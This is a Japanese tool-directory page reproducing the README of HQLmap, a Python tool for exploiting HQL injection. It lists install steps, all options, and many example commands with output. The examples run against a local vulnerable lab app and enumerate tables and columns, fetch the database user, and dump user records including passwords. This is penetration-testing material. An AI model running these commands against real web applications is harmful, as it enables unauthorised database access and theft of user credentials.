Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
HQLmap — (非推奨) HQLmap、HQLインジェクションを悪用する自動ツール | Kitploit
ツール/GitHubGitHub/paulsec/hqlmap
脆弱性スキャナーウェブアプリケーション悪用情報収集ペネトレーションテストデータベースセキュリティArchived
GitHubpaulsec/hqlmap

HQLmap

(非推奨) HQLmap、HQLインジェクションを悪用する自動ツール

リポジトリを見る
228436年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

HQLMap

このプロジェクトはHQLインジェクションを悪用するために作成されました。 このツールはPythonで書かれており、MITライセンスの下で公開されています。 将来の開発: SQLmap用の専用モジュールを開発する予定があります。

このツールはどこで試せますか?

ツールを試すための高速な脆弱性環境が必要な場合は、RopeyTasksを使うことをお勧めします: https://github.com/continuumsecurity/RopeyTasks/

さらに、HQLiに関する詳細情報が必要な場合は、このブログ記事を確認してください: http://blog.h3xstream.com/2014/02/hql-for-pentesters.html

インストール

このプロジェクトをインストールするには、次のように入力してこのプロジェクトをクローンするだけです:

root@kitploit:~
git clone [email protected]:PaulSec/HQLmap.git

使い方

このプロジェクトを使用するには、ディレクトリに移動します:

root@kitploit:~
cd HQLmap

そして、プロジェクトを起動します:

root@kitploit:~
python HQLmap.py

使用方法は次のように表示されます:

root@kitploit:~
Usage: HQLmap.py [options]

Options:
  -h, --help            show this help message and exit
  --url=URL             qURL to pentest
  --cookie=COOKIE       Cookie to test it
  --param=PARAM         Param to test
  --postdata=POSTDATA   Postdata (POST Method)  
  --message=BLIND_HQLI_MESSAGE
                        Message appearing while Blind HQLi
  --tables              Tries to gather as much tables as possible (With
                        Bruteforce)
  --T=TABLE             Name of the table you want to get
  --table_name_file=FILE_TABLE
                        DB file for name of tables
  --columns             Tries to gather as much columns as possible (With
                        Bruteforce)
  --C=COLUMN            Name of the column you want to get
  --column_name_file=FILE_COLUMN
                        DB file for name of columns
  --check               Check if host is vulnerable
  --user                Tries to get user() from dbms
  --count               Get count of specified table(s)
  --dump                Dump specified table(s) / column(s)
  --results             Enumerate results after session
  --verbose             Verbose mode

使用例

この部分にはさまざまなシナリオが含まれています。

ホストが脆弱かどうかを確認する

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check

出力は非常にシンプルです:

root@kitploit:~
Host seems vulnerable.

POSTDATAを使った確認

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"

テーブルの列挙

root@kitploit:~
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables

出力は次のとおりです:

root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.

このような列挙を実行する場合、スキャナーはテーブル名が指定されていなければ、テーブル名のデフォルトファイルを使用します。 デフォルトファイルは: db/tables.db

カラムの列挙

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

このような列挙を実行する場合、スキャナーはテーブル名とカラム名の両方にデフォルトファイルを使用します。 デフォルトファイルは次のとおりです:

テーブルの場合: db/tables.db カラムの場合: db/columns.db

特定のテーブルの存在確認

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo

そして、出力:

root@kitploit:~
[-] Table foo does not exist.

特定のテーブルのカラム列挙

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns

そして、出力:

root@kitploit:~
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

特定のテーブルにおける特定のカラムの存在確認

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar

そして、出力:

root@kitploit:~
[!] Table User has been found.
[-] Column bar in User does not exist.

フィンガープリンティングオプション

テーブルの件数の取得

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count

または全テーブルの場合:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count

そして、出力:

root@kitploit:~
[!] Table User has been found.
[!] Count(*) of User : 3

データベースユーザーの取得

この操作を行うには、テーブルを指定し(--tablesフラグで全テーブルを指定することもできます)、次のように--userフラグを追加する必要があります:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user

そして、出力(数秒後):

root@kitploit:~
[!] Table User has been found.
[!] Username of Database found : SA

ユーザーを取得するために、私は「変数」二分法に非常に似たアルゴリズムを実装しました。

データベースのダンプ

データベースの全テーブル

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump

そして、出力:

root@kitploit:~
(redacted)
[Task]
  [Name]
     - Bob's shopping
     - Alice's shopping
[Task]
  [User_Id]
     - 1
     - 2
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
(redacted)

データベースの特定のテーブル

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump

そして、出力:

root@kitploit:~
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
[User]
  [Password]
     - password
     - password
     - password
[User]
  [Email]
     - [email protected]
     - [email protected]
     - [email protected]
[User]
  [Firstname]
     - Robert
     - Alice
     - Administrator
[User]
  [Lastname]
     - McBride
     - O'Reilly
     - Reynolds

データベースの特定のカラム

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump

そして、出力:

root@kitploit:~
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
  [username]
     - bob
     - alice
     - admin

まとめ (& ライセンス)

フィードバックや新機能のリクエストはお気軽にどうぞ。

このプロジェクトはMITライセンスの下で公開されています。

ツールをダウンロード